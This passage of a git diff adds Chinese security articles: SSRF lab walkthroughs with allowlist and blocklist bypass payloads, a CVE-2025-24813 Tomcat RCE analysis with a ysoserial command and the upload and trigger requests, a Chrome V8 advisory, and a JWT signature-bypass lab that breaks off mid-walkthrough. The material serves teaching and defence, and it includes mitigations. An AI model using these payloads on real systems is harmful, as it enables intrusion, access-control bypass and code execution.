+![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oRQJP2NfukoGTdDqgWp5DeyYOod67Rt60ibu9LxJuCSb5p4Riatkr9ykw/640?wx_fmt=png&from=appmsg "") +# 七、Burp靶场 +## 针对本地的SSRF +- 在针对服务器本身的SSRF攻击中，攻击者诱使应用程序通过其环回地址向托管应用程序的服务器发出HTTP请求，例如127.0.0.1 +或localhost +。 + +- 地址： +https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost + +- 场景：一个购物应用程序允许用户查看某项商品是否在特定商店中有库存，该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现。 + +- 目标：通过SSRF漏洞访问服务器本地的的管理界面http://localhost/admin +（绕过/admin +的访问控制），并删除指定用户 carlos + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01obo3zuIf49JnmI0HadvMNxV6SUfib62Mv4SX8GMtlRIia4bubzHDt9UVQ/640?wx_fmt=png&from=appmsg "") +- 查看商品的库存信息，抓包发送到Repeater + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o4ANQdgOefJ6MdrUODSTarnqwkzUBNH5Cjaic3LjXmvn9M3dEobDIwqQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oIjQ5fS17ice8puP3xTzVbWxpicib3ic5cNe1zDDjgciasLr6XHJyUbicibYbQ/640?wx_fmt=png&from=appmsg "") +- 在Repeater中发现，该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现，这会导致服务器向指定的URL发出请求，检索库存状态并将其返回给用户 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oicewEgPTqnlIw3mMk35FMWd5hXsLKVKYvtibicgyv5RIJWeLsziaic9LK3w/640?wx_fmt=png&from=appmsg "") +- 此时可以修改请求以指定服务器本身的本地URL，发现请求成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oRv53suCNckzazNEP6iaKCDicjLPdBJ31uYjr1TrYhlAVv0cdYqW3t2Yg/640?wx_fmt=png&from=appmsg "") +- 管理功能通常只有经过身份验证的合适用户才能访问，因此直接访问URL的攻击者不会看到任何感兴趣的内容。但是，当对/admin +的请求来自本地机器本身时，会绕过正常的访问控制。应用程序授予对管理功能的完全访问权限，因为该请求似乎来自受信任的位置。 + +## 针对其它后端系统的SSRF +- 服务器端请求伪造经常出现的一种信任关系是web服务器能够与内网的其他后端系统进行交互，这些后端系统通常是公网无法访问的的内网系统，这些内部后端系统包含敏感信息或者其它漏洞，通过SSRF漏洞就会造成任何能够与web服务器交互的人无需身份验证即可访问这些内网的系统。 + +- 靶场地址： +https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system + +- 场景：该靶场具有库存检查功能，可以从内部系统获取数据。 + +- 目标：后端URL有一个管理界面（ip段为192.168.0.x，端口为8080，路径为/admin +），通过SSRF漏洞访问这个内网的路径并删除用户carlos + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o689xoaA6iaMVL4iaWicS60jHfSY4pv3MLF4ibm2W2qx6bX1z7SLrniaqdPQ/640?wx_fmt=png&from=appmsg "") +- 查看商品的库存信息，使用Burp抓包 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oxhk3RsPxV3yN2UkYRVX6ZVzy3rAeibcuXJ3xvOYEYO82QyK4FdjlTEA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oaELb7CZwSPjtrmB8dBoJ8YdtotSXjw6hsRndJAC5CfbDERP1TfZlxw/640?wx_fmt=png&from=appmsg "") +- 在Repeater中发现，该功能通过前端HTTP请求将URL传递给相关的后端API端点来实现，这会导致服务器向指定的URL发出请求，检索库存状态并将其返回给用户 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oK9HZRATnVrmiadkLxVGfiapRgVszMZCgqUKE5sOL2XMlzX5TdnY65jEw/640?wx_fmt=png&from=appmsg "") +- 此时将数据包发送到Intruder，此时只知道ip段，所以修改URL请求任意内网主机8080端口的/admin +路径，将主机位设置为变量，然后Payload设置为1-254，遍历整个内网，发现管理界面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJBEa0VRGHicEDkWW4adrojEFfvkjibfQUo6ETNfO45IsU5D7EN9PuFmw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oegF3PO1dSnabV2ZichCPw10QXcUyGKGcLXfX3IYq854BiciaUnVFZ52EQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oZz5GbfOI62oOJmraa5NBoAqYib3orUHibz2Tfnocyrs8oJN8Yvib3b9gw/640?wx_fmt=png&from=appmsg "") +## 绕过黑名单 +- 一些应用程序会阻止包含127.0.0.1 +、localhost +、/admin +等等字符串中的一些关键字或者整个字符串，这种情况下，可以使用一些技术绕过黑名单 + +- 使用替代IP表示127.0.0.1 +，例如：2130706433 +、017700000001 +或127.1 +。 + +- 将自己的域名解析为127.0.0.1 +，然后请求自己的域名 + +- 使用URL编码或大小写变体混淆被拦截/过滤的字符串。 + +- 靶场地址： +https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter + +- 目标：绕过黑名单限制，访问管理界面http://localhost/admin +并删除指定用户carlos + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o5xLcHREPakcqG2rHUiaXhSQf2BEXviaOAnqZQSdYhSnRDXetWNJJHV9A/640?wx_fmt=png&from=appmsg "") +- 查看库存，使用Burp抓包，发送到Intruder + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ooQoFeSdeFBDcXsPib1DYRvwibNn3ONEIn3XcFwichmzR51RPNsRQl0rMA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oibf2sNN5ZiczZ3kILNIS5ka2BuH2ibj5f1Kf9o2OVsVhKRicSO9UyJVHCA/640?wx_fmt=png&from=appmsg "") +- 此时直接通过SSRF访问本地的管理界面发现被拦截 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oEr6e1DibpU3eIO6YrkxekfHtoHic9AfyxQvVAQu91oUh8bNVLF8zcNPg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01opYHZgtC6cND7iaicYM1gRNeria8z9xUez7OgFv902NTiaHN66uNBibLH6Ng/640?wx_fmt=png&from=appmsg "") +- 通过双URL编码将“a”混淆为%25%36%31 +（http://loc%25%36%31lhost/%25%36%31dmin +），发现防火墙未拦截，成功绕过黑名单限制 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oP3f2IbKEBuKCg6z9CyFp3l4kgiatbnIVAcaAA1S08uQelBeFgyogsicQ/640?wx_fmt=png&from=appmsg "") +## 绕过白名单 +- 一些应用程序为了安全起见，只允许特定的、符合白名单规则的输入。例如：程序可能只接受来自某些特定主机（expected-host +）的请求，如果应用程序在解析URL时存在问题或两次解析的结果不一致，就可能绕过白名单限制。 + +- 可以对字符进行URL编码以混淆URL解析代码，如果实现过滤器的代码处理URL编码字符的方式不同于执行后端HTTP请求的代码，这或许也能绕过。 + +- 甚至可以组合使用这些绕过方式 + +- 在主机名之前的URL中嵌入凭据 + +- 在URL中，可以在主机名之前使用@ +符号嵌入凭据。 + +- 示例：https://expected-host@evil-host + +- 这里的expected-host +是白名单允许的主机名，而evil-host + 是攻击者控制的实际目标主机，某些解析器可能会将expected-host +视为合法输入，但实际上请求会发送到evil-host +。 + +- 使用URL片段 (# +) + +- URL中的# +符号用于指示片段，通常不会被服务器处理，而是由浏览器客户端解析。 + +- 示例：https://evil-host#expected-host + +- 应用程序可能只检查# +后面的内容（即 expected-host +），认为它符合白名单规则，实际请求仍然会发送到evil-host +。 + +- 利用DNS命名层次结构 + +- DNS域名具有层次结构，子域名可以嵌套在父域名之下。 + +- 示例：https://expected-host.evil-host + +- 这里的expected-host +是白名单允许的主机名，但整个域名实际上是expected-host.evil-host +，后者由攻击者控制，如果应用程序只简单地匹配expected-host +，就可能误认为这是合法输入。 + +- URL编码混淆 + +- 攻击者可以通过对URL中的字符进行编码，来混淆解析器的行为。 + +- 比如：原始URL为https://expected-host +，编码后为https://%65%78%70%65%63%74%65%64-%68%6f%73%74 + +- 如果应用程序实现过滤器的代码和执行HTTP请求的代码对URL编码的处理方式不同，就可能借此绕过限制。 + +- 也可以将这些绕过方式组合使用 + +- 靶场地址： +https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter + +- 目标：绕过白名单限制，通过SSRF漏洞访问管理界面http://localhost/admin +并删除用户carlos +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01os5fqiaSPLpegN55BVctVCUCZKK3xdsFJ9DCDnOeClFj0wiabkQalsWtQ/640?wx_fmt=png&from=appmsg "") +- 查看库存，使用Burp抓包，发送到Repeater + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o8JjiaKxibUicziadD5eTB66QItPKArLRfIO0EyMRHVBhMAStvKlhcWOsVQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oJuphOBHTicuW7PW1CXKwOlyxgZneu0oRVPRibiaMgHfFx2ka0yp844VRg/640?wx_fmt=png&from=appmsg "") +- 此时直接通过SSRF访问本地的管理界面发现被拦截 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oPzXUQS0IQibA70Bq25pKb70MQFT2YdZnR9dDr8FhnickNvaibrGeB4ia0A/640?wx_fmt=png&from=appmsg "") +- 将URL更改为http://username@stock.weliketoshop.net/ +，验证URL解析器是否支持嵌入式用户名；如果URL被接受，说明服务器的URL解析器支持嵌入式凭据，并且没有因额外的用户名部分而拒绝请求。 + +- 此时的结果表明URL解析器支持嵌入式凭据 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o4z3kr4Newl4oX1ziborvr0gLmiczszbTSDFoF0mgNbOQib2CdorVd8xNg/640?wx_fmt=png&from=appmsg "") +- 在用户名中添加# +，测试URL解析器对特殊字符的处理方式；如果URL被拒绝，说明服务器可能检测到非法字符并阻止了请求。 + +- 此时发现被拒绝 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o7UctWvE8qwVhkMvZibrP7yQ7B18aoJjXmImj3OzgMh23hnD97qOK8Sw/640?wx_fmt=png&from=appmsg "") +- 将# +编码为%2523 +的双URL，尝试绕过服务器对特殊字符的检测，如果服务器返回“Internal Server Error +”，这表明服务器可能尝试连接到username +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ojUAavntreuuPuoznQ7Ftz0tGicUfOTFJT3k2DiaSEkfBNrMyfoWmMLyA/640?wx_fmt=png&from=appmsg "") +- 构造恶意URL访问管理界面，利用URL解析漏洞绕过白名单限制 + +``` +http://127.0.0.1%2523@stock.weliketoshop.net/admin/ +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o46TRhAhdcOBErWqRy0kT3vHrgHSh19hRKfJcqFOA4ttp1MMrS0RSdQ/640?wx_fmt=png&from=appmsg "") +## 开放重定向绕过SSRF白名单 +- 开放重定向漏洞原理：该漏洞发生在应用程序允许用户通过URL参数控制页面跳转的场景，例如以下URL允许用户指定跳转地址，如果应用程序未正确验证 url + 参数，攻击者可以将用户重定向到任意网站。 + +``` +http://example.com/redirect?url=http://malicious.com +``` +- 开放重定向漏洞绕过SSRF过滤器原理：假设服务器对SSRF请求的目标地址进行了严格的白名单过滤，但目标地址中包含一个开放重定向漏洞，攻击者可以利用该漏洞构造一个看似合法的URL，但实际上会触发重定向到攻击者指定的目标地址。 + +- 靶场地址： +https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection + +- 目标：绕过白名单限制，通过SSRF漏洞访问内网其它应用的管理界面http://192.168.0.12:8080/admin +并删除用户carlos +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o29IzLOIZW5Hicr2ibP5fdXxUOhw31xuia71y8EpHicTibyEKNZbKfib71kpA/640?wx_fmt=png&from=appmsg "") +- 查看库存，使用Burp抓包，此时直接通过SSRF访问本地的管理界面发现被拦截 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01osnbqvDG2P4JtOgClYCcibcJzqichDa6a2kFXthApJ836acxNKoMxYKUg/640?wx_fmt=png&from=appmsg "") +- 点击查看下一个产品，再用Burp抓包，发现通过path= +参数重定向到另一个页面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oQYtO8MxKIaPClr7dZ9BdPxNUvPTLXxug1LL1yAHhp57sIhZYfA8Acg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oiaibDlDDcJsuc8VNgH0sT06xA5hnApVgzxwKX8yTchxH3g3y3z0xTzPQ/640?wx_fmt=png&from=appmsg "") +- 此时就可以创建一个利用开放重定向漏洞的URL，并重定向到管理界面 + +``` +/product/nextProduct?path=http://192.168.0.12:8080/admin +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oIFAmgJKnDhkb60cBXPcZ0LdOcPN4jnYMLOubMeuZEQeM9k3ibCjKIyw/640?wx_fmt=png&from=appmsg "") +# 八、防御方式 +- 禁止跳转 + +- 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件，那么在将返回结果展示给用户之前，先验证返回的信息是否符合标准。 + +- 禁用不需要的协议，仅允许http和https请求，可以防止类似于攻击者使用伪协议引起的问题 + +- 设置URL白名单或者限制内网IP（使用gethostbyname() +判断是否为内网 IP） + +- 限制请求的端口为http常用的端口，比如80、443、8080、8090 + +- 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。 + +- 屏蔽返回信息：屏蔽返回的详细信息，防止攻击者利用返回的信息进行进一步的攻击。 + +- 使用代理服务器：通过代理服务器来转发请求，这样即使攻击者能够构造伪造的请求，也无法直接访问到目标资源。 + +- 验证和过滤目标地址：对请求的目标地址进行严格的验证和过滤，确保只有合法的地址才能被访问。 + diff --git a/doc/2025-05/​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC.md b/doc/2025-05/​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC.md new file mode 100644 index 00000000..4a25baf1 --- /dev/null +++ b/doc/2025-05/​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC.md @@ -0,0 +1,133 @@ +# ​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC +云梦DC 云梦安全 2025-05-29 01:00 + +一、漏洞核心原理 + +CVE-2025-24813 是 Apache Tomcat 中因 路径等效性缺陷 和 反序列化漏洞 结合导致的远程代码执行（RCE）漏洞。其核心机制如下： + +![CVE-2025-24813: Critical Apache Tomcat Vulnerability Already Being Exploited – Patch Now! | XM Cyber](https://mmbiz.qpic.cn/mmbiz_png/ndxZsFvkmpy6D2vRcMEuia8qiaIicTF15wg79wnA117jT9orA9ZVW5ITibM4SZp7RDBWnmJiav8hcXMqp94DBexZe8w/640?wx_fmt=png&from=appmsg "") + +路径处理缺陷：Tomcat 在处理部分 PUT 请求时，会将 URL 路径中的 / 替换为 .，例如 /uploads/../sessions/ 被解析为 .uploads..sessions.，从而绕过目录限制。 + +反序列化触发：攻击者通过上传恶意序列化文件（如 .session 文件）至 Tomcat 的会话存储目录（默认路径为 work/Catalina/localhost/ROOT），并利用 JSESSIONID 触发反序列化，执行任意命令。 + +二、影响范围与利用条件 + +受影响版本： + +Tomcat 9.x：9.0.0-M1 至 9.0.98 + +Tomcat 10.x：10.1.0-M1 至 10.1.34 + +Tomcat 11.x：11.0.0-M1 至 11.0.2 + +修复版本：9.0.99、10.1.35、11.0.3。 + +利用条件（需同时满足）： + +默认 Servlet 写入启用（readonly=false，默认关闭）。 + +支持部分 PUT 请求（默认启用）。 + +使用基于文件的会话持久化（需手动配置）。 + +类路径存在反序列化利用链库（如 commons-collections 3.2.1）。 + +三、PoC 利用步骤 + +环境配置： + +修改 conf/web.xml，设置 false 启用写入。 + +修改 conf/context.xml，启用文件会话持久化。 + +将反序列化依赖库（如 commons-collections.jar）放入 WEB-INF/lib。 + +生成 Payload： + +java -jar ysoserial.jar CommonsCollections6 "calc.exe" > payload.ser   + +使用工具（如 Yakit）生成 Base64 编码的恶意序列化文件。 + +上传 Payload： + +PUT /poc/session HTTP/1.1   + +Host: target:8080   + +Content-Range: bytes 0-1000/1200   + +Content-Length: 1000   + +[Binary payload data]   + +若返回 HTTP 409 Conflict，表明文件已写入临时目录。 + +触发 RCE： + +GET / HTTP/1.1   + +Host: target:8080   + +Cookie: JSESSIONID=.poc   + +触发后，Tomcat 会反序列化 .poc.session 文件并执行命令（如弹出计算器）。 + +四、检测与防御建议 + +漏洞检测： + +监控异常 PUT/GET 请求日志，尤其是包含 Content-Range 和 .session 路径的请求。 + +使用工具扫描类路径中的反序列化漏洞库（如 commons-collections）。 + +修复措施： + +升级至安全版本：优先修补至 9.0.99、10.1.35 或 11.0.3。 + +禁用高危配置： + +设置 readonly=true 阻止写入。 + +关闭部分 PUT 请求支持（修改 server.xml）。 + +移除危险依赖库：清理 commons-collections 等反序列化利用链组件。 + +应急缓解： + +使用 WAF 拦截包含 Content-Range 和 JSESSIONID 的异常请求。 + +隔离会话存储目录，限制非授权进程访问。 + +五、攻击案例与影响评估 + +攻击趋势：漏洞披露后 30 小时内 PoC 公开，攻击源主要来自美国、中国、意大利等地，70% 针对美国服务器。 + +危害场景： + +数据泄露：读取 /etc/passwd 或数据库配置文件。 + +持久化后门：上传恶意 JSP 文件或修改 server.xml。 + +检测盲区：Base64 编码的 Payload 可绕过传统 WAF，需依赖行为分析工具。 + +六、扩展资源 + +官方公告：Apache Tomcat 安全更新。 + +复现工具： + +Yakit Web Fuzzer（支持 Payload 生成与漏洞触发）。 + +Burp Suite 自定义插件（拦截并修改 HTTP 请求）。 + +研究文章： + +奇安信攻防社区：CVE-2025-24813 分析。 + +Wallarm 漏洞利用报告。 + +总结：CVE-2025-24813 的利用门槛因依赖非默认配置而受限，但一旦条件满足，其危害性极高。企业需结合 补丁管理、配置加固 与 行为监控 构建防御体系，避免成为攻击目标。 + +poc：https://github.com/absholi7ly/POC-CVE-2025-24813 + diff --git a/doc/2025-05/【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280).md b/doc/2025-05/【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280).md new file mode 100644 index 00000000..1b878f56 --- /dev/null +++ b/doc/2025-05/【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280).md @@ -0,0 +1,44 @@ +# 【漏洞通告】Google Chrome V8越界写入漏洞(CVE-2025-5280) + 启明星辰安全简讯 2025-05-29 08:10 + +### 一、漏洞概述 +

漏洞名称

Google Chrome V8越界写入漏洞

CVE ID

CVE-2025-5280

漏洞类型

越界写入

发现时间

2025-05-29

漏洞评分

8.8

漏洞等级

高危

攻击向量

网络

所需权限

不需要

利用难度

低

用户交互

需要

PoC/EXP

未公开

在野利用

未发现

+Google Chrome 是由谷歌开发的跨平台网页浏览器，以其速度、安全性和简洁的界面而闻名。它基于开源的Chromium项目，支持现代网页标准，具有强大的扩展性。Chrome的沙箱技术可以限制网页中的恶意代码，增强浏览器的安全性。它还提供了同步功能，允许用户在多个设备间同步书签、历史记录等数据。此外，Chrome定期更新，修复已知漏洞并增强功能，是全球使用最广泛的浏览器之一。 + +2025年5月29日，启明星辰集团VSRC监测到Chrome发布的安全公告，指出在 Google Chrome 137.0.7151.55 版本之前的V8引擎中存在越界写入漏洞。攻击者可通过构造恶意HTML页面，诱使受害者访问，从而触发越界写入操作。该漏洞可能导致堆内存损坏，使攻击者能够执行任意代码或引发其他安全风险。漏洞级别高危，漏洞评分8.8分。 +### 二、影响范围 + +Google Chrome < 137.0.7151.55 +### 三、安全措施 + +3.1 升级版本 + +官方已发布修复版本，建议受影响用户尽快更新。 + +下载链接： + +https://www.google.cn/chrome/ + +3.2 临时措施 + +暂无。 + +3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 + +3.4 参考链接 + +https://nvd.nist.gov/vuln/detail/CVE-2025-5280 + +https://osv.dev/vulnerability/CVE-2025-5280 + +https://chromereleases.googleblog.com/2025/05/stable-channel-update-for-desktop_27.html diff --git a/doc/2025-05/不容忽视的威胁：探索与JWT相关漏洞（另类的越权）.md b/doc/2025-05/不容忽视的威胁：探索与JWT相关漏洞（另类的越权）.md new file mode 100644 index 00000000..c193f03e --- /dev/null +++ b/doc/2025-05/不容忽视的威胁：探索与JWT相关漏洞（另类的越权）.md @@ -0,0 +1,188 @@ +# 不容忽视的威胁：探索与JWT相关漏洞（另类的越权） +AegisGuard AegisGuard 2025-05-29 05:57 + +免责声明 + +合法使用原则：文中提及的技术、工具或案例，仅用于授权范围内的安全测试、防御研究或合规技术分享，未经授权的网络攻击、数据窃取等行为均属违法，需承担法律责任。 + +风险自担与责任豁免：文章内容基于公开信息整理，不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险，若因不当使用导致任何法律后果或损失，均由使用者自行承担，与本公众号及作者无关。 + +法律管辖与提示：本公众号坚决拥护相关法律法规，反对任何危害网络安全的行为，读者需严格遵守法律法规。 +# 一、JWT介绍 +- JWT，全称是JSON Web Token，用于在网络应用环境间以JSON对象安全地将信息作为令牌进行传输，这种令牌被广泛应用于用户认证和信息交换的场景中。 + +- 与传统会话令牌不同，服务器所需的所有数据都存储在客户端的JWT本身中。这使得JWT成为高度分布式网站的热门选择，因为用户需要与多个后端服务器无缝交互。 + +- 实际上JWT也是一种鉴权字段（cookie字段变为JWT） + +## JWT的结构 +- JWT通常由三部分组成：Header（头部）、Payload（载荷）和Signature（签名），这三部分通过点号. +连接在一起形成一个完整的JWT字符串。 + +- Header：包含了令牌的类型（即JWT）和所使用的签名算法（如HMAC SHA256或RSA等）。例如： + +``` +{ +  "alg": "HS256", +  "typ": "JWT" +} +``` +- Payload：包含声明（claims）。Claims是关于实体（通常是用户）和其他数据的声明。JWT定义了三种类型的claim：registered、public和private。 + +- Registered claims：这些是一组预定义的claims，不是强制的，但推荐使用，包括iss（issuer）、exp（expiration time）、sub（subject）、aud（audience）等。 + +- Public claims：可以随意定义，为了避免冲突应该在IANA JSON Web Token Registry中定义或者使用一个抗冲突的命名空间。 + +- Private claims：用于在同意使用它们的各方之间共享信息，并且既不是Registered也不是Public claims。 + +- Signature：要创建签名部分，就必须采取编码后的header、编码后的payload、一个秘钥，以及头部指定的算法。比如使用HMAC SHA256算法，签名按照下面方式创建： + +``` +HMACSHA256( +  base64UrlEncode(header) + "." + +  base64UrlEncode(payload), +  secret) +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01ocEsK3hR8Kl2FCfFUm1UC1dUNfZo1yWPM8A9X7AutPkhUKCnxibMJoEw/640?wx_fmt=png&from=appmsg "") +## JWT的工作原理 +- 当用户使用其凭据成功登录时，服务器会生成一个JWT并返回给客户端。 + +- 之后，客户端应在每个请求中附带这个令牌（通常通过HTTP头部Authorization字段携带）。 + +- 服务器接收到请求后，首先验证JWT的有效性，如果有效，则处理请求。 + +# 二、Burp插件推荐-JWT Editor +- 便于修改JWT + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oA2Yglaia9gPJHdWKFotliackXo28ujewcjdGM4Wf4mWbrEwXOw8KEk8g/640?wx_fmt=png&from=appmsg "") +# 三、通过未验证的签名绕过JWT身份验证 +- 方法：签名随便写即可绕过 + +- 靶场地址： +https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature + +- 场景：通过登录已给的普通用户账号密码登录后，访问管理员的管理面板，删除另一个用户（本质其实就是越权） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oZibcpZhhiaXVfXPjxeC77aKYfd3RutsWYuDzqUdgjqNGeD9xBh5UlyFA/640?wx_fmt=png&from=appmsg "") +- 先通过已给的账户进行登录 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01onGGgNiaUE48BTSQjHOSqicU1icbOhBWEjPeibUQCGQJdjO1LkuZoS6ZhDw/640?wx_fmt=png&from=appmsg "") +- 登录成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oSFOGKxrrNZ1uhJ04Qiaq7L7ZysXVFME4zCAdsPat9UYwnERc35C35oQ/640?wx_fmt=png&from=appmsg "") +- 访问/admin +这个页面，发现不是管理员账户，无法访问 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01orMDdaEQTQUtFckepjhD3Mh8Su9JQWbsAric10ddWbiacibRLhJZLcfvsg/640?wx_fmt=png&from=appmsg "") +- 再次访问，使用Burp抓包，发送到Repeater，发现通过JWT鉴权 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oqLZN1KMH3ZxknOfonE0KI5uFDG2ibniaGUJNwAteuQYxibHTyVDBcgpNg/640?wx_fmt=png&from=appmsg "") +- 点击JSON Web Token，可以清晰看到解码后的JWT各个字段的值 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o78gCfVdD12b0LbXp3b4gstfJyjWXg0IlGF8MVMWYrRcgRHMtAico0EQ/640?wx_fmt=png&from=appmsg "") +- 能够看到现在登录的账户是wiener + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o2vVcn8shAXfHubXiadQRh258hXTbAtWQvLck4lhSFQZKCyAeuYMJWXw/640?wx_fmt=png&from=appmsg "") +- 此时将wiener改为administrator，然后发包，发现访问成功 + +- 原因是此处没有验证JWT的签名字段 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oNSDXQGDiaicrhR097TuOqAg46kgTgxtGPn05jZ2eJopgvTR1TxicZjJQQ/640?wx_fmt=png&from=appmsg "") +- 由于没有验证JWT的签名字段，所以在攻击过程中就可以随意更改这个签名，然后发包，发现依然能够成功访问 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oGN5r7kVq21fLj7e4fpDj9eR8iawpp6EKZXC3EMEMp44uQQDmMLia3ElA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01oDTYHicUfSjlFHqWADsaTvYOEwtRfBjcOL9sLBE3py8wNBzLVG86bTeg/640?wx_fmt=png&from=appmsg "") +- 此时就可以将这个能够访问成功的JWT复制下来 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/t88ugf2jgYDBFLXQBkuibL7k4ZbCyn01o32iccO2VFQzuxRzicMFFjMiam6USzCU3C4SrThsEIytejEhyehM9Hm2qA/640?wx_fmt=png&from=appmsg "") +- 然后重新访问/admin +，用Burp抓包，将此时的JWT换成刚能够成功访问的JWT，然后放包，并且将每一步的JWT都替换一下，直到所有数据包替换完成 + 